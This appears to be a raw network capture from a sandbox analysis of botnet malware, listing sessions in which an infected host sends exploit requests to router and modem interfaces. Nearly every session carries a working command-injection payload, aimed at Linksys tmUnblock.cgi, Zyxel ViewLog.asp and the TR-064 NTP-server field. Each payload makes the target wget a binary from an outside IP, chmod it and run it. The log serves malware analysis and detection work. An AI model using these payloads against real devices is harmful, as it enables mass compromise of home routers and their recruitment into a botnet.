62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1609	192.168.2.23	35356	172.67.112.66	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:36.402806044 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:36.687711954 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:36.986974955 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1610	192.168.2.23	36680	172.64.91.29	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:36.402846098 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:36.687706947 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:36.986972094 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1611	192.168.2.23	43170	212.40.146.69	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:36.556989908 CET	38	IN	Data Raw: 42 49 47 2d 49 50 3a 20 5b 30 78 31 62 35 30 61 32 32 3a 38 32 37 31 5d 20 54 43 50 20 65 61 72 6c 79 20 46 49 4e Data Ascii: BIG-IP: [0x1b50a22:8271] TCP early FIN

Session ID	Source IP	Source Port	Destination IP	Destination Port
1612	192.168.2.23	41868	13.248.235.177	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:36.634146929 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1613	192.168.2.23	51214	198.41.200.4	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:36.725174904 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1614	192.168.2.23	56860	172.67.170.50	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:36.725220919 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1615	192.168.2.23	45580	82.77.25.103	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:36.793145895 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:36.990922928 CET	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 Date: Sat, 02 Mar 2024 11:38:36 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0</center></body></html>
Mar 2, 2024 12:38:36.991437912 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 Date: Sat, 02 Mar 2024 11:38:36 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1616	192.168.2.23	60324	190.32.17.252	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:36.929744959 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:37.099622965 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1617	192.168.2.23	39990	82.150.224.4	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:36.969033957 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:37.149996996 CET	144	IN	HTTP/1.1 302 Found : Moved Temporarily Location: https://apps.sbc.amadeus.com Connection: close Cache-Control: no-cache Pragma: no-cache
Mar 2, 2024 12:38:38.157819033 CET	144	IN	HTTP/1.1 302 Found : Moved Temporarily Location: https://apps.sbc.amadeus.com Connection: close Cache-Control: no-cache Pragma: no-cache
Mar 2, 2024 12:38:40.167506933 CET	144	IN	HTTP/1.1 302 Found : Moved Temporarily Location: https://apps.sbc.amadeus.com Connection: close Cache-Control: no-cache Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
1618	192.168.2.23	57748	200.73.80.2	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.029253960 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:38.264941931 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:39.703030109 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:42.710172892 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:48.597289085 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1619	192.168.2.23	60336	190.32.17.252	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.104300022 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:37.277925014 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0
Mar 2, 2024 12:38:38.176158905 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1620	192.168.2.23	35050	82.163.52.146	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.213774920 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:37.396543026 CET	874	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:38:37 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Content-Length: 217 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 4d 61 72 20 32 30 32 34 20 31 31 3a 33 38 3a 33 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Sat, 02 Mar 2024 11:38:37 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1621	192.168.2.23	39210	178.62.74.68	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.213819981 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
